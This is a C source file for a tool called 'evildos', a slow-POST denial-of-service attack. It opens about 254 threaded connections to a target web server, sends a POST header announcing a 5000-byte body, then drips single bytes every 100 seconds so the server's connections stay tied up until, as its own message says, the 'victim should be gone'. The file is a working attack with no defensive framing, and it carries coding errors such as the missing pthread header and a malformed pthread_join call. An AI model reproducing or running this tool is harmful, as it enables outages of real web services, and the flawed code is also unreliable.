#include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
 
    #define MAXSIZE 5000
    #define THREADS 255
 
    char startbuf[MAXSIZE];
    char hostname[MAXSIZE];
    int port;
 
 
    void dothread(void *arg)
    {
        int sd, count=0;
        struct sockaddr_in sin;
        struct sockaddr_in pin;
        struct hostent *hp;
        int self;
        char dot[1];
       
        memcpy(&self, arg, sizeof(int));
 
        if ((hp = gethostbyname(hostname)) == 0)
        {
            perror("gethostbyname");
            exit(1);
        }
 
        memset(&pin, 0, sizeof(pin));
        pin.sin_family = AF_INET;
        pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
        pin.sin_port = htons(port);
 
        if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
            perror("socket");
            return;
        }
 
        if (connect(sd,(struct sockaddr *)  &pin, sizeof(pin)) == -1)
        {
            perror("connect");
            return;
        }
 
        if (send(sd, startbuf, strlen(startbuf), 0) == -1)
        {
            perror("send");
            return;
        }
 
        dot[0] = (unsigned char)(self&0xFF);
       
        for (count=0;count<5000;count++)
        {
            /* just a weak PRNG..better use rand() instead */
            dot[0] = (unsigned char)(dot[0]+count);
            dot[0] = (unsigned char)((dot[0]<<1)|(dot[0]>>31))&0x7F;
            send(sd, dot, 1, 0);
            sleep(100);
        }
 
        close(sd);
    }
 
 
    void usage(void)
    {
        printf("Usage: ./evildos <host> <port> <POST_URI>\n");
        printf("POST_URI is a URI that supports the POST method. Static content obviously don't\n");
        exit(1);
    }
 
    int main(int argc, char **argv)
    {
        pthread_t threads[THREADS];
        int counter;
       
        if (argc!=4) usage();
       
        strcpy(hostname,argv[1]);
        port = atoi(argv[2]);
        sprintf(startbuf, "POST  %s  HTTP/1.1\nHost: %s\nAccept: text/html\nAccept-Encoding: gzip,deflate\nConnection: keep-alive\nKeep-alive: 900\nContent-length: 5000\n\n", argv[3],hostname);
       
        printf("Spawning threads\n");
        for (counter=1;counter<THREADS;counter++)
        {
            pthread_create(&threads[counter], NULL, dothread, &counter);
            usleep(100000);
        }
       
        printf("All threads spawned, wait for graceful shutdown. At that point unless there are limits on concurrent conns, victim should be gone.\n");
        for (counter=1;counter<THREADS;counter++)
        {
            pthread_join(&threads[counter]);
        }
    }